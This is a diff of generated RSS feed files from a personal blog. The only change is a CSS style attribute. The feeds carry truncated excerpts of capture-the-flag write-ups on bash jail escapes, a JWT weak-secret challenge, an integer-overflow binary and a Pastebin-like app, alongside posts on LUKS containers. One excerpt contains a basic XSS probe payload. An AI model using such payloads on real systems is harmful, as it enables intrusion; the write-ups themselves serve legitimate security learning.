&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -273,7 +273,7 @@ library, checking for errors along the way.&lt;/p&gt;
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -300,7 +300,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input
@@ -317,7 +317,7 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item><item><title>JAuth</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</link><pubDate>Tue, 22 Feb 2022 14:49:34 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</guid><description>&lt;p&gt;The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at &lt;a href="http://saturn.picoctf.net:52025/"&gt;http://saturn.picoctf.net:52025/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The goal is to become an &lt;code&gt;admin&lt;/code&gt;.
@@ -325,7 +325,7 @@ We are provied with the username &lt;code&gt;test&lt;/code&gt; and the password
&lt;p&gt;The challenge is a dummy bank portal. On login, we see the message:&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -5,5 +5,5 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -3,7 +3,7 @@
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;

File diff suppressed because one or more lines are too long

View File

@@ -2,7 +2,7 @@
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;

View File

@@ -3,7 +3,7 @@
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;

View File

@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Jinja2 on lavafroth</title><link>https://lavafroth.is-a.dev/tags/jinja2/</link><description>Recent content in Jinja2 on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 21 Feb 2022 09:24:30 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/tags/jinja2/index.xml" rel="self" type="application/rss+xml"/><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -2,7 +2,7 @@
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;

View File

@@ -5,7 +5,7 @@ without having to completely format the drive anew.&lt;/p&gt;
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;
&lt;h2 id="creating-the-image-base"&gt;Creating the image base&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-image"&gt;Format the image&lt;/h2&gt;
&lt;p&gt;The image can be formatted by either including the header in the image itself or
keeping a detached header.&lt;/p&gt;</description></item><item><title>I Solemnly Swear to Never Buy a Gaming Laptop Again</title><link>https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/</link><pubDate>Fri, 07 Jun 2024 17:01:01 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/</guid><description>&lt;p&gt;Around half a decade ago, I bought an Asus gaming laptop, one I&amp;rsquo;m currently using to write this article.

View File

@@ -5,7 +5,7 @@ without having to completely format the drive anew.&lt;/p&gt;
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;
&lt;h2 id="creating-the-image-base"&gt;Creating the image base&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-image"&gt;Format the image&lt;/h2&gt;
&lt;p&gt;The image can be formatted by either including the header in the image itself or
keeping a detached header.&lt;/p&gt;</description></item></channel></rss>

View File

@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Path Traversal on lavafroth</title><link>https://lavafroth.is-a.dev/tags/path-traversal/</link><description>Recent content in Path Traversal on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 21 Feb 2022 09:24:30 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/tags/path-traversal/index.xml" rel="self" type="application/rss+xml"/><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -7,7 +7,7 @@ start this year off by going back to the roots.&lt;/p&gt;
the secrets of the multiverse is in a universe where keyboards only have numbers
and (most) symbols.&lt;/p&gt;</description></item><item><title>Twosum</title><link>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</link><pubDate>Mon, 10 Apr 2023 08:44:28 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</guid><description>&lt;p&gt;This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
@@ -64,7 +64,7 @@ the second. Adding them would cause the result to wrap around and become negativ
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
